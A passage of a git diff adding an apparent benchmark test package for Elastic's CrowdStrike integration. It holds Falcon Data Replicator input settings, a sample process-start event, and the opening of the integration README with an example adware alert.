+        multi: false
+        default: false
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`
+        type: bool
+        multi: false
+        default: false
+      - name: shared_credential_file
+        type: text
+        title: Shared Credential File
+        multi: false
+        required: false
+        show_user: false
+        description: Directory of the shared credentials file
+      - name: credential_profile_name
+        type: text
+        title: Credential Profile Name
+        multi: false
+        required: false
+        show_user: false
+      - name: role_arn
+        type: text
+        title: Role ARN
+        multi: false
+        required: false
+        show_user: false
+      - name: endpoint
+        type: text
+        title: Endpoint
+        multi: false
+        required: false
+        show_user: false
+        default: ""
+        description: URL of the entry point for an AWS web service
+      - name: default_region
+        type: text
+        title: Default AWS Region
+        multi: false
+        required: false
+        show_user: false
+        default: ""
+        description: Default region to use prior to connecting to region specific services/endpoints if no AWS region is set from environment variable, credentials or instance profile. If none of the above are set and no default region is set as well, `us-east-1` is used. A region, either from environment variable, credentials or instance profile or from this default region setting, needs to be set when using regions in non-regular AWS environments such as AWS China or US Government Isolated.
+      - name: visibility_timeout
+        type: text
+        title: Visibility Timeout
+        multi: false
+        required: false
+        show_user: false
+        description: The duration that the received messages are hidden from subsequent retrieve requests after being retrieved by a ReceiveMessage request. The maximum is 12 hours. Valid time units are h, m, s.
+      - name: api_timeout
+        type: text
+        title: API Timeout
+        multi: false
+        required: false
+        show_user: false
+        description: The maximum duration of AWS API can take. The maximum is half of the visibility timeout value. Valid time units are h, m, s.
+      - name: fips_enabled
+        type: bool
+        title: Enable S3 FIPS
+        default: false
+        multi: false
+        required: false
+        show_user: false
+        description: Enabling this option changes the service name from `s3` to `s3-fips` for connecting to the correct service endpoint.
+      - name: proxy_url
+        type: text
+        title: Proxy URL
+        multi: false
+        required: false
+        show_user: false
+        description: URL to proxy connections in the form of http\[s\]://<user>:<password>@<server name/ip>:<port>
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-fdr
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
+
+      - name: max_number_of_messages
+        type: integer
+        title: Maximum Concurrent SQS Messages
+        description: Deprecated in agent version 8.16.0, this parameter is ignored if present, use `Number of Workers` instead. The maximum number of SQS messages that can be in flight at any time.
+        default: 5
+        required: false
+        show_user: false
+      - name: number_of_workers
+        type: integer
+        title: Number of Workers
+        description: Number of workers that will process the S3 or SQS objects listed.
+        default: 5
+        required: false
+        show_user: false
+
+      - name: prune_fields
+        type: bool
+        title: Prune Fields
+        default: true
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`,
+          `event.timezone` and `log.offset`.
+  - input: logfile
+    title: Falcon Data Replicator logs
+    description: Collect Falcon Data Replicator logs using a log file
+    enabled: false
+    vars:
+      - name: paths
+        type: text
+        title: Paths
+        multi: true
+        default:
+          - /var/log/falcon_data_replicator.log
+        show_user: true
+      - name: enrich_host_metadata
+        required: true
+        show_user: true
+        title: Enrich Host and User Metadata
+        description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster file must be included in the paths configuration, include the string "aidmaster" in the path host information file path and "userinfo" in the user information file bath, and have a file paths that sorts before the FDR log file paths.
+        type: bool
+        multi: false
+        default: true
+      - name: keep_metadata
+        required: true
+        show_user: false
+        title: Keep Original Host and User Metadata
+        description: Keep the aidmaster and userinfo documents after they have been used for event enrichment.
+        type: bool
+        multi: false
+        default: false
+      - name: metadata_ttl
+        required: true
+        show_user: true
+        title: Metadata TTL
+        description: The period of time that host metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns.
+        type: text
+        multi: false
+        default: 168h
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`
+        type: bool
+        multi: false
+        default: false
+      - name: tags
+        type: text
+        title: Tags
+        multi: true
+        show_user: false
+        default:
+          - forwarded
+          - crowdstrike-fdr
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
+      - name: prune_fields
+        type: bool
+        title: Prune Fields
+        default: true
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`,
+          `event.timezone` and `log.offset`.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
new file mode 100644
index 0000000000..a9e86832a5
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
@@ -0,0 +1,213 @@
+{
+    "@timestamp": "2020-10-01T09:58:32.519Z",
+    "agent": {
+        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
+        "name": "elastic-agent-67101",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "aws": {
+        "s3": {
+            "bucket": {
+                "name": "elastic-package-crowdstrike-fdr-19614"
+            },
+            "object": {
+                "key": "data"
+            }
+        }
+    },
+    "crowdstrike": {
+        "AuthenticationId": "3783389",
+        "ConfigStateHash": "3998263252",
+        "EffectiveTransmissionClass": "3",
+        "Entitlements": "15",
+        "ImageSubsystem": "2",
+        "IntegrityLevel": "4096",
+        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
+        "ParentAuthenticationId": "3783389",
+        "ProcessCreateFlags": "525332",
+        "ProcessParameterFlags": "16385",
+        "ProcessSxsFlags": "1600",
+        "RpcClientProcessId": "2439558094566",
+        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+        "SessionId": "1",
+        "SourceProcessId": "2439558094566",
+        "SourceThreadId": "77538684027214",
+        "Tags": [
+            "41",
+            "12094627905582",
+            "12094627906234"
+        ],
+        "TokenType": "2",
+        "WindowFlags": "128",
+        "cid": "ffffffff30a3407dae27d0503611022d",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
+        "info": {
+            "host": {
+                "AgentLoadFlags": "1",
+                "AgentLocalTime": "1697775225",
+                "AgentTimeOffset": "15889.017",
+                "AgentVersion": "7.01.13922.0",
+                "BiosManufacturer": "Iris",
+                "BiosVersion": "vG17V.21040423/z64",
+                "ChassisType": "Other",
+                "City": "Chicago",
+                "ConfigBuild": "1007.3.0017312.1",
+                "ConfigIDBuild": "13922",
+                "Continent": "North America",
+                "Country": "United States of America",
+                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
+                "FirstSeen": "1628678052.0",
+                "HostHiddenStatus": "Visible",
+                "MachineDomain": "groot.org",
+                "OU": "Servers;America;Offices",
+                "PointerSize": "8",
+                "ProductType": "3.0",
+                "ServicePackMajor": "0",
+                "SiteName": "BCL",
+                "SystemManufacturer": "Iris",
+                "SystemProductName": "IrOS",
+                "Time": "1697992719.22",
+                "Timezone": "America/Chicago",
+                "Version": "Windows Server 2021",
+                "cid": "ffffffff30a3407dae27d0503611022d",
+                "event_platform": "Win"
+            },
+            "user": {
+                "AccountType": "Domain User",
+                "LastLoggedOnHost": "COMPUTER1",
+                "LocalAdminAccess": "No",
+                "LogonInfo": "Domain User Logon",
+                "LogonTime": "1702546155.197",
+                "LogonType": "Interactive",
+                "PasswordLastSet": "1699971198.062",
+                "User": "DOMAIN\\BRADLEYA",
+                "UserIsAdmin": "0",
+                "UserLogonFlags_decimal": "0",
+                "_time": "1702546168.576",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "event_platform": "Win",
+                "monthsincereset": "1.0"
+            }
+        },
+        "name": "ProcessRollup2V18"
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.fdr",
+        "namespace": "27890",
+        "type": "logs"
+    },
+    "device": {
+        "id": "ffffffff655344736aca58d17fb570f0"
+    },
+    "elastic_agent": {
+        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
+        "snapshot": false,
+        "version": "8.18.0"
+    },
+    "event": {
+        "action": "ProcessRollup2",
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "created": "2020-10-01T09:58:32.519Z",
+        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
+        "ingested": "2026-02-24T11:51:06Z",
+        "kind": "event",
+        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
+        "outcome": "success",
+        "type": [
+            "start"
+        ]
+    },
+    "host": {
+        "id": "ffffffff655344736aca58d17fb570f0",
+        "ip": [
+            "16.15.12.10"
+        ],
+        "name": "FEVWSN1-234",
+        "os": {
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "aws-s3"
+    },
+    "message": "ProcessRollup2",
+    "observer": {
+        "address": [
+            "67.43.156.14"
+        ],
+        "geo": {
+            "continent_name": "Asia",
+            "country_iso_code": "BT",
+            "country_name": "Bhutan",
+            "location": {
+                "lat": 27.5,
+                "lon": 90.5
+            }
+        },
+        "ip": [
+            "67.43.156.14"
+        ],
+        "serial_number": "ffffffff655344736aca58d17fb570f0",
+        "version": "1007.3.0012309.1"
+    },
+    "process": {
+        "Ext": {
+            "token": {
+                "integrity_level_name": "LOW"
+            }
+        },
+        "args": [
+            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
+            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
+        ],
+        "args_count": 2,
+        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
+        "entity_id": "2450046082233",
+        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
+        "hash": {
+            "md5": "50d5fd1290d94d46acca0585311e74d5",
+            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
+        },
+        "name": "backgroundTaskHost.exe",
+        "parent": {
+            "entity_id": "2439558094566",
+            "name": "svchost.exe"
+        },
+        "pid": 22272,
+        "start": "2020-11-08T17:06:21.648Z"
+    },
+    "related": {
+        "hash": [
+            "50d5fd1290d94d46acca0585311e74d5",
+            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
+            "3998263252"
+        ],
+        "hosts": [
+            "FEVWSN1-234",
+            "COMPUTER1"
+        ],
+        "ip": [
+            "67.43.156.14",
+            "16.15.12.10"
+        ],
+        "user": [
+            "Alan-One",
+            "DOMAIN\\BRADLEYA",
+            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "forwarded",
+        "crowdstrike-fdr"
+    ],
+    "user": {
+        "domain": "DOMAIN",
+        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
+        "name": "Alan-One"
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
new file mode 100644
index 0000000000..6c8dc59146
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
@@ -0,0 +1,3543 @@
+# CrowdStrike Integration
+
+The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic:
+
+1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs:
+
+- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector.
+
+    **Log File Format and Location**
+
+    The CrowdStrike integration only supports JSON output format from the SIEM Connector.
+
+    - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file.
+    - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
+    - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
+
+    >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
+
+2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs:
+
+- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`.
+
+- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc.
+
+    >  NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
+
+- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`.
+
+3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs:
+
+- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events.
+
+4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs:
+
+- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream.
+
+## Compatibility
+
+This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming.
+For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**.
+
+## Requirements
+
+### Agentless enabled integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments.  This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent based installation
+
+Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
+You can install only one Elastic Agent per host.
+Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
+
+## Setup
+
+### Collect data from CrowdStrike REST API 
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token url
+4. API Endpoint url
+5. Required scopes for each data stream :
+
+    | Data Stream   | Scope         |
+    | ------------- | ------------- |
+    | Alert         | read:alert    |
+    | Host          | read:host     |
+    | Vulnerability | read:vulnerability |
+
+### Collect data from CrowdStrike Event Stream
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. CrowdStrike App ID
+6. Required scopes for event stream:
+
+    | Data Stream   | Scope               |
+    | ------------- | ------------------- |
+    | Event Stream  | read: Event streams |
+
+## Logs
+
+### Alert
+
+This is the `Alert` dataset.
+
+#### Example
+
+An example event for `alert` looks as following:
+
+```json
+{
+    "@timestamp": "2023-11-03T18:00:22.328Z",
+    "agent": {
+        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "name": "elastic-agent-43429",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "alert": {
+            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+            "alleged_filetype": "exe",
+            "cid": "92012896127c4a948236ba7601b886b0",
+            "cloud_indicator": false,
+            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "confidence": 10,
+            "context_timestamp": "2023-11-03T18:00:31.000Z",
+            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+            "crawl_edge_ids": {
+                "Sensor": [
+                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
+                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
+                ]
+            },
+            "crawl_vertex_ids": {
+                "Sensor": [
+                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                ]
+            },
+            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+            "created_timestamp": "2023-11-03T18:01:23.995Z",
+            "data_domains": [
+                "Endpoint"
+            ],
+            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "device": {
+                "agent_load_flags": 0,
+                "agent_local_time": "2023-10-12T03:45:57.753Z",
+                "agent_version": "7.04.17605.0",
+                "bios_manufacturer": "ABC",
+                "bios_version": "F8CN42WW(V2.05)",
+                "cid": "92012896127c4a948236ba7601b886b0",
+                "config_id_base": "65994763",
+                "config_id_build": "17605",
+                "config_id_platform": 3,
+                "external_ip": "81.2.69.142",
+                "first_seen": "2023-04-07T09:36:36.000Z",
+                "groups": [
+                    "18704e21288243b58e4c76266d38caaf"
+                ],
+                "hostinfo": {
+                    "active_directory_dn_display": [
+                        "WinComputers",
+                        "WinComputers\\ABC"
+                    ],
+                    "domain": "ABC.LOCAL"
+                },
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "last_seen": "2023-11-03T17:51:42.000Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "AB-21-48-61-05-B2",
+                "machine_domain": "ABC.LOCAL",
+                "major_version": "10",
+                "minor_version": "0",
+                "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                "os_version": "Windows11",
+                "ou": [
+                    "ABC",
+                    "WinComputers"
+                ],
+                "platform_id": "0",
+                "platform_name": "Windows",
+                "product_type": "1",
+                "product_type_desc": "Workstation",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "LENOVO",
+                "system_product_name": "20VE"
+            },
+            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "grandparent_details": {
+                "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                "filename": "userinit.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                "local_process_id": "4328",
+                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                "process_id": "392734873135",
+                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                "timestamp": "2023-10-30T16:49:19.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "yuvraj.mahajan"
+            },
+            "has_script_or_module_ioc": true,
+            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "ioc_context": [
+                {
+                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "ioc_source": "library_load",
+                    "ioc_type": "hash_sha256",
+                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "type": "module"
+                }
+            ],
+            "ioc_values": [
+                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+            ],
+            "is_synthetic_quarantine_disposition": true,
+            "local_process_id": "17076",
+            "logon_domain": "ABSYS",
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "name": "PrewittPupAdwareSensorDetect-Lowest",
+            "objective": "FalconDetectionMethod",
+            "parent_details": {
+                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                "filename": "explorer.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                "local_process_id": "1040",
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                "process_id": "392736520876",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                "timestamp": "2023-11-03T18:00:32.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "mohit.jha"
+            },
+            "parent_process_id": "392736520876",
+            "pattern_disposition": 2176,
